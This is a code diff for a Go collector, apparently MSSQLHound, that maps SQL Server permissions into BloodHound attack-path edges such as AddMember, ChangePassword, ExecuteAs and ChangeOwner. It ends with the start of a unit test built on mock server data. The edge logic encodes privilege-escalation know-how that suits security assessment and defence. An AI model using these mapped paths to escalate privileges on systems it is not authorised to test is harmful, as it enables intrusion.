+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ // CONTROL on a database principal (user/role)
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.DatabaseUser
+ isRole := false
+ isUser := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription)
+ isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE"
+ isUser = targetPrincipal.TypeDescription == "WINDOWS_USER" ||
+ targetPrincipal.TypeDescription == "WINDOWS_GROUP" ||
+ targetPrincipal.TypeDescription == "SQL_USER" ||
+ targetPrincipal.TypeDescription == "ASYMMETRIC_KEY_MAPPED_USER" ||
+ targetPrincipal.TypeDescription == "CERTIFICATE_MAPPED_USER"
+ }
+
+ // First create the non-traversable MSSQL_Control edge
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Use specific edge type based on target
+ if isRole {
+ // CONTROL on role = Add members + Change owner
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ } else if isUser {
+ // CONTROL on user = Impersonate (MSSQL_ExecuteAs)
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+
+ case "CONNECT":
+ if perm.ClassDesc == "DATABASE" {
+ // Create MSSQL_Connect edge from user/role to database
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Connect,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ break
+ case "ALTER":
+ if perm.ClassDesc == "DATABASE" {
+ // ALTER on the database itself - use MSSQL_Alter to match PowerShell
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Alter,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // ALTER on database grants effective ALTER ANY APPLICATION ROLE and ALTER ANY ROLE
+ // Create AddMember edges to roles and ChangePassword edges to application roles
+ for _, targetPrincipal := range db.DatabasePrincipals {
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue // Skip self
+ }
+
+ // Check if source principal is db_owner
+ isDbOwner := false
+ for _, role := range principal.MemberOf {
+ if role.Name == "db_owner" {
+ isDbOwner = true
+ break
+ }
+ }
+
+ switch targetPrincipal.TypeDescription {
+ case "DATABASE_ROLE":
+ // db_owner can alter any role, others can only alter user-defined roles
+ if targetPrincipal.Name != "public" &&
+ (isDbOwner || !targetPrincipal.IsFixedRole) {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ case "APPLICATION_ROLE":
+ // ALTER on database allows changing application role passwords
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.ApplicationRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ } else if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ // ALTER on a database principal - always use MSSQL_Alter to match PowerShell
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ targetType := bloodhound.NodeKinds.DatabaseUser
+ isRole := false
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ targetType = c.getDatabasePrincipalType(targetPrincipal.TypeDescription)
+ isRole = targetPrincipal.TypeDescription == "DATABASE_ROLE"
+ }
+
+ // Always create MSSQL_Alter edge (matches PowerShell)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Alter,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // For database roles, also create AddMember edge (matches PowerShell)
+ if isRole {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: targetType,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+ case "ALTER ANY ROLE":
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyDBRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create AddMember edges to each eligible database role
+ // Matches PowerShell: user-defined roles always, fixed roles only if source is db_owner (except public)
+ for _, targetRole := range db.DatabasePrincipals {
+ if targetRole.TypeDescription != "DATABASE_ROLE" {
+ continue
+ }
+ if targetRole.ObjectIdentifier == principal.ObjectIdentifier {
+ continue // Skip self
+ }
+ if targetRole.Name == "public" {
+ continue // public role membership cannot be changed
+ }
+
+ // Check if source principal is db_owner (member of db_owner role)
+ isDbOwner := false
+ for _, role := range principal.MemberOf {
+ if role.Name == "db_owner" {
+ isDbOwner = true
+ break
+ }
+ }
+
+ // db_owner can alter any role, others can only alter user-defined roles
+ if isDbOwner || !targetRole.IsFixedRole {
+ addMemberEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(addMemberEdge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+ case "ALTER ANY APPLICATION ROLE":
+ // Create edge to the database since this permission affects ANY application role
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyAppRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Create ChangePassword edges to each individual application role
+ for _, appRole := range db.DatabasePrincipals {
+ if appRole.TypeDescription == "APPLICATION_ROLE" &&
+ appRole.ObjectIdentifier != principal.ObjectIdentifier {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ appRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: appRole.Name,
+ TargetType: bloodhound.NodeKinds.ApplicationRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ break
+
+ case "IMPERSONATE":
+ // IMPERSONATE on a database user
+ if perm.ClassDesc == "DATABASE_PRINCIPAL" && perm.TargetObjectIdentifier != "" {
+ targetPrincipal := principalMap[perm.TargetPrincipalID]
+ targetName := perm.TargetName
+ if targetPrincipal != nil {
+ targetName = targetPrincipal.Name
+ }
+
+ // PowerShell creates both MSSQL_Impersonate and MSSQL_ExecuteAs for database user impersonation
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.Impersonate,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.DatabaseUser,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ExecuteAs edge (PowerShell creates both)
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.DatabaseUser,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ break
+
+ case "TAKE OWNERSHIP":
+ // TAKE OWNERSHIP on the database
+ if perm.ClassDesc == "DATABASE" {
+ // Create TakeOwnership edge to the database (non-traversable)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.TakeOwnership,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // TAKE OWNERSHIP on database also grants ChangeOwner to all database roles
+ for _, targetRole := range db.DatabasePrincipals {
+ if targetRole.TypeDescription == "DATABASE_ROLE" {
+ changeOwnerEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(changeOwnerEdge); err != nil {
+ return err
+ }
+ }
+ }
+ } else if perm.TargetObjectIdentifier != "" {
+ // TAKE OWNERSHIP on a specific object
+ // Find the target principal
+ var targetPrincipal *types.DatabasePrincipal
+ for idx := range db.DatabasePrincipals {
+ if db.DatabasePrincipals[idx].ObjectIdentifier == perm.TargetObjectIdentifier {
+ targetPrincipal = &db.DatabasePrincipals[idx]
+ break
+ }
+ }
+
+ if targetPrincipal != nil {
+ // Create TakeOwnership edge (non-traversable)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.TakeOwnership,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: c.getDatabasePrincipalType(targetPrincipal.TypeDescription),
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // If target is a DATABASE_ROLE, also create ChangeOwner edge
+ if targetPrincipal.TypeDescription == "DATABASE_ROLE" {
+ changeOwnerEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(changeOwnerEdge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+ break
+ }
+ }
+ }
+
+ return nil
+}
+
+// createEdge creates a BloodHound edge with properties.
+// Returns nil if the edge is non-traversable and IncludeNontraversableEdges is false,
+// matching PowerShell's Add-Edge behavior which drops non-traversable edges entirely.
+func (c *Collector) createEdge(sourceID, targetID, kind string, ctx *bloodhound.EdgeContext) *bloodhound.Edge {
+ props := bloodhound.GetEdgeProperties(kind, ctx)
+
+ // Apply MakeInterestingEdgesTraversable overrides before filtering
+ if c.config.MakeInterestingEdgesTraversable {
+ switch kind {
+ case bloodhound.EdgeKinds.LinkedTo,
+ bloodhound.EdgeKinds.IsTrustedBy,
+ bloodhound.EdgeKinds.ServiceAccountFor,
+ bloodhound.EdgeKinds.HasDBScopedCred,
+ bloodhound.EdgeKinds.HasMappedCred,
+ bloodhound.EdgeKinds.HasProxyCred:
+ props["traversable"] = true
+ }
+ }
+
+ // Drop non-traversable edges when IncludeNontraversableEdges is false
+ // This matches PowerShell's Add-Edge behavior which returns early (drops the edge)
+ // when the edge is non-traversable and IncludeNontraversableEdges is disabled
+ if !c.config.IncludeNontraversableEdges {
+ if traversable, ok := props["traversable"].(bool); ok && !traversable {
+ return nil
+ }
+ }
+
+ return &bloodhound.Edge{
+ Start: bloodhound.EdgeEndpoint{Value: sourceID},
+ End: bloodhound.EdgeEndpoint{Value: targetID},
+ Kind: kind,
+ Properties: props,
+ }
+}
+
+// getServerPrincipalType returns the BloodHound node type for a server principal
+func (c *Collector) getServerPrincipalType(typeDesc string) string {
+ switch typeDesc {
+ case "SERVER_ROLE":
+ return bloodhound.NodeKinds.ServerRole
+ default:
+ return bloodhound.NodeKinds.Login
+ }
+}
+
+// getDatabasePrincipalType returns the BloodHound node type for a database principal
+func (c *Collector) getDatabasePrincipalType(typeDesc string) string {
+ switch typeDesc {
+ case "DATABASE_ROLE":
+ return bloodhound.NodeKinds.DatabaseRole
+ case "APPLICATION_ROLE":
+ return bloodhound.NodeKinds.ApplicationRole
+ default:
+ return bloodhound.NodeKinds.DatabaseUser
+ }
+}
+
+// createZipFile creates the final zip file from all output files
+func (c *Collector) createZipFile() (string, error) {
+ timestamp := time.Now().Format("20060102-150405")
+ zipDir := c.config.ZipDir
+ if zipDir == "" {
+ zipDir = "."
+ }
+
+ zipPath := filepath.Join(zipDir, fmt.Sprintf("mssql-bloodhound-%s.zip", timestamp))
+
+ zipFile, err := os.Create(zipPath)
+ if err != nil {
+ return "", err
+ }
+ defer zipFile.Close()
+
+ zipWriter := zip.NewWriter(zipFile)
+ defer zipWriter.Close()
+
+ for _, filePath := range c.outputFiles {
+ if err := addFileToZip(zipWriter, filePath); err != nil {
+ return "", fmt.Errorf("failed to add %s to zip: %w", filePath, err)
+ }
+ }
+
+ return zipPath, nil
+}
+
+// addFileToZip adds a file to a zip archive
+func addFileToZip(zipWriter *zip.Writer, filePath string) error {
+ file, err := os.Open(filePath)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+
+ info, err := file.Stat()
+ if err != nil {
+ return err
+ }
+
+ header, err := zip.FileInfoHeader(info)
+ if err != nil {
+ return err
+ }
+ header.Name = filepath.Base(filePath)
+ header.Method = zip.Deflate
+
+ writer, err := zipWriter.CreateHeader(header)
+ if err != nil {
+ return err
+ }
+
+ _, err = io.Copy(writer, file)
+ return err
+}
+
+// generateFilename creates a filename matching PowerShell naming convention
+// Format: mssql-{hostname}[_{port}][_{instance}].json
+// - Port 1433 is omitted
+// - Instance "MSSQLSERVER" is omitted
+// - Uses underscore (_) as separator, not hyphen
+func (c *Collector) generateFilename(server *ServerToProcess) string {
+ parts := []string{server.Hostname}
+
+ // Add port only if not 1433
+ if server.Port != 1433 {
+ parts = append(parts, strconv.Itoa(server.Port))
+ }
+
+ // Add instance only if not default
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ parts = append(parts, server.InstanceName)
+ }
+
+ // Join with underscore and sanitize
+ cleanedName := strings.Join(parts, "_")
+ // Replace problematic filename characters with underscore (matching PS behavior)
+ replacer := strings.NewReplacer(
+ "\\", "_",
+ "/", "_",
+ ":", "_",
+ "*", "_",
+ "?", "_",
+ "\"", "_",
+ "<", "_",
+ ">", "_",
+ "|", "_",
+ )
+ cleanedName = replacer.Replace(cleanedName)
+
+ return fmt.Sprintf("mssql-%s.json", cleanedName)
+}
+
+// sanitizeFilename makes a string safe for use as a filename
+func sanitizeFilename(s string) string {
+ // Replace problematic characters
+ replacer := strings.NewReplacer(
+ "\\", "-",
+ "/", "-",
+ ":", "-",
+ "*", "-",
+ "?", "-",
+ "\"", "-",
+ "<", "-",
+ ">", "-",
+ "|", "-",
+ )
+ return replacer.Replace(s)
+}
+
+// logVerbose logs a message only if verbose mode is enabled
+func (c *Collector) logVerbose(format string, args ...interface{}) {
+ if c.config.Verbose {
+ fmt.Printf(format+"\n", args...)
+ }
+}
+
+// getMemoryUsage returns a string describing current memory usage
+func (c *Collector) getMemoryUsage() string {
+ var m runtime.MemStats
+ runtime.ReadMemStats(&m)
+
+ // Get allocated memory in GB
+ allocatedGB := float64(m.Alloc) / 1024 / 1024 / 1024
+
+ // Try to get system memory info (this is a rough estimate)
+ // On Windows, we'd ideally use syscall but this gives a basic view
+ sysGB := float64(m.Sys) / 1024 / 1024 / 1024
+
+ return fmt.Sprintf("%.2fGB allocated (%.2fGB system)", allocatedGB, sysGB)
+}
diff --git a/go/internal/collector/collector_test.go b/go/internal/collector/collector_test.go
new file mode 100644
index 0000000..92dd375
--- /dev/null
+++ b/go/internal/collector/collector_test.go
@@ -0,0 +1,961 @@
+// Package collector provides unit tests for MSSQL data collection and edge creation.
+package collector
+
+import (
+ "encoding/json"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/bloodhound"
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+)
+
+// TestEdgeCreation tests that edges are created correctly for various scenarios
+func TestEdgeCreation(t *testing.T) {
+ // Create a temporary directory for output
+ tmpDir, err := os.MkdirTemp("", "mssqlhound-test")
+ if err != nil {
+ t.Fatalf("Failed to create temp dir: %v", err)
+ }
+ defer os.RemoveAll(tmpDir)
+
+ // Create a mock server info with test data
+ serverInfo := createMockServerInfo()
+
+ // Create collector with minimal config
+ config := &Config{
+ TempDir: tmpDir,
+ IncludeNontraversableEdges: true,
+ }
+ c := New(config)
+
+ // Create output file
+ outputPath := filepath.Join(tmpDir, "test-output.json")
+ writer, err := bloodhound.NewStreamingWriter(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to create writer: %v", err)
+ }
+
+ // Write nodes first (manually since createNodes is private)
+ // Server node
+ serverNode := c.createServerNode(serverInfo)
+ if err := writer.WriteNode(serverNode); err != nil {
+ t.Fatalf("Failed to write server node: %v", err)
+ }
+
+ // Database nodes
+ for _, db := range serverInfo.Databases {
+ dbNode := c.createDatabaseNode(&db, serverInfo)
+ if err := writer.WriteNode(dbNode); err != nil {
+ t.Fatalf("Failed to write database node: %v", err)
+ }
+
+ // Database principal nodes
+ for _, principal := range db.DatabasePrincipals {
+ principalNode := c.createDatabasePrincipalNode(&principal, &db, serverInfo)
+ if err := writer.WriteNode(principalNode); err != nil {
+ t.Fatalf("Failed to write database principal node: %v", err)
+ }
+ }
+ }
+
+ // Server principal nodes
+ for _, principal := range serverInfo.ServerPrincipals {
+ principalNode := c.createServerPrincipalNode(&principal, serverInfo)
+ if err := writer.WriteNode(principalNode); err != nil {
+ t.Fatalf("Failed to write server principal node: %v", err)
+ }
+ }
+
+ // Create edges
+ if err := c.createEdges(writer, serverInfo); err != nil {
+ t.Fatalf("Failed to create edges: %v", err)
+ }
+
+ // Create fixed role edges
+ if err := c.createFixedRoleEdges(writer, serverInfo); err != nil {
+ t.Fatalf("Failed to create fixed role edges: %v", err)
+ }
+
+ // Close writer
+ if err := writer.Close(); err != nil {
+ t.Fatalf("Failed to close writer: %v", err)
+ }
+
+ // Read and verify output
+ nodes, edges, err := bloodhound.ReadFromFile(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to read output: %v", err)
+ }
+
+ // Verify expected edges exist
+ verifyEdges(t, edges, nodes)
+}
+
+// createMockServerInfo creates a mock ServerInfo for testing
+func createMockServerInfo() *types.ServerInfo {
+ domainSID := "S-1-5-21-1234567890-1234567890-1234567890"
+ serverSID := domainSID + "-1001"
+ serverOID := serverSID + ":1433"
+
+ return &types.ServerInfo{
+ ObjectIdentifier: serverOID,
+ Hostname: "testserver",
+ ServerName: "TESTSERVER",
+ SQLServerName: "testserver.domain.com:1433",
+ InstanceName: "MSSQLSERVER",
+ Port: 1433,
+ Version: "Microsoft SQL Server 2019",
+ VersionNumber: "15.0.2000.5",
+ IsMixedModeAuth: true,
+ ForceEncryption: "No",
+ ExtendedProtection: "Off",
+ ComputerSID: serverSID,
+ DomainSID: domainSID,
+ FQDN: "testserver.domain.com",
+ ServiceAccounts: []types.ServiceAccount{
+ {
+ Name: "DOMAIN\\sqlservice",
+ ServiceName: "SQL Server (MSSQLSERVER)",
+ ServiceType: "SQLServer",
+ SID: "S-1-5-21-1234567890-1234567890-1234567890-2001",
+ ObjectIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-2001",
+ },
+ },
+ Credentials: []types.Credential{
+ {
+ CredentialID: 1,
+ Name: "TestCredential",
+ CredentialIdentity: "DOMAIN\\creduser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001",
+ CreateDate: time.Now(),
+ ModifyDate: time.Now(),
+ },
+ },
+ ProxyAccounts: []types.ProxyAccount{
+ {
+ ProxyID: 1,
+ Name: "TestProxy",
+ CredentialID: 1,
+ CredentialIdentity: "DOMAIN\\proxyuser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5002",
+ Enabled: true,
+ Subsystems: []string{"CmdExec", "PowerShell"},
+ Logins: []string{"TestLogin_WithProxy"},
+ },
+ },
+ ServerPrincipals: []types.ServerPrincipal{
+ // sa login
+ {
+ ObjectIdentifier: "sa@" + serverOID,
+ PrincipalID: 1,
+ Name: "sa",
+ TypeDescription: "SQL_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "",
+ IsActiveDirectoryPrincipal: false,
+ SQLServerName: "testserver.domain.com:1433",
+ MemberOf: []types.RoleMembership{
+ {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3},
+ },
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // public role
+ {
+ ObjectIdentifier: "public@" + serverOID,
+ PrincipalID: 2,
+ Name: "public",
+ TypeDescription: "SERVER_ROLE",
+ IsDisabled: false,
+ IsFixedRole: true,
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ // sysadmin role
+ {
+ ObjectIdentifier: "sysadmin@" + serverOID,
+ PrincipalID: 3,
+ Name: "sysadmin",
+ TypeDescription: "SERVER_ROLE",
+ IsDisabled: false,
+ IsFixedRole: true,
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ // securityadmin role
+ {
+ ObjectIdentifier: "securityadmin@" + serverOID,
+ PrincipalID: 4,
+ Name: "securityadmin",
+ TypeDescription: "SERVER_ROLE",
+ IsDisabled: false,
+ IsFixedRole: true,
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ // Domain user login with sysadmin
+ {
+ ObjectIdentifier: "DOMAIN\\testadmin@" + serverOID,
+ PrincipalID: 256,
+ Name: "DOMAIN\\testadmin",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1100",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ MemberOf: []types.RoleMembership{
+ {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3},
+ },
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Domain user login with CONTROL SERVER
+ {
+ ObjectIdentifier: "DOMAIN\\controluser@" + serverOID,
+ PrincipalID: 257,
+ Name: "DOMAIN\\controluser",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1101",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ {Permission: "CONTROL SERVER", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Login with IMPERSONATE ANY LOGIN
+ {
+ ObjectIdentifier: "DOMAIN\\impersonateuser@" + serverOID,
+ PrincipalID: 258,
+ Name: "DOMAIN\\impersonateuser",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1102",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ {Permission: "IMPERSONATE ANY LOGIN", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Login with mapped credential
+ {
+ ObjectIdentifier: "TestLogin_WithCred@" + serverOID,
+ PrincipalID: 259,
+ Name: "TestLogin_WithCred",
+ TypeDescription: "SQL_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "",
+ IsActiveDirectoryPrincipal: false,
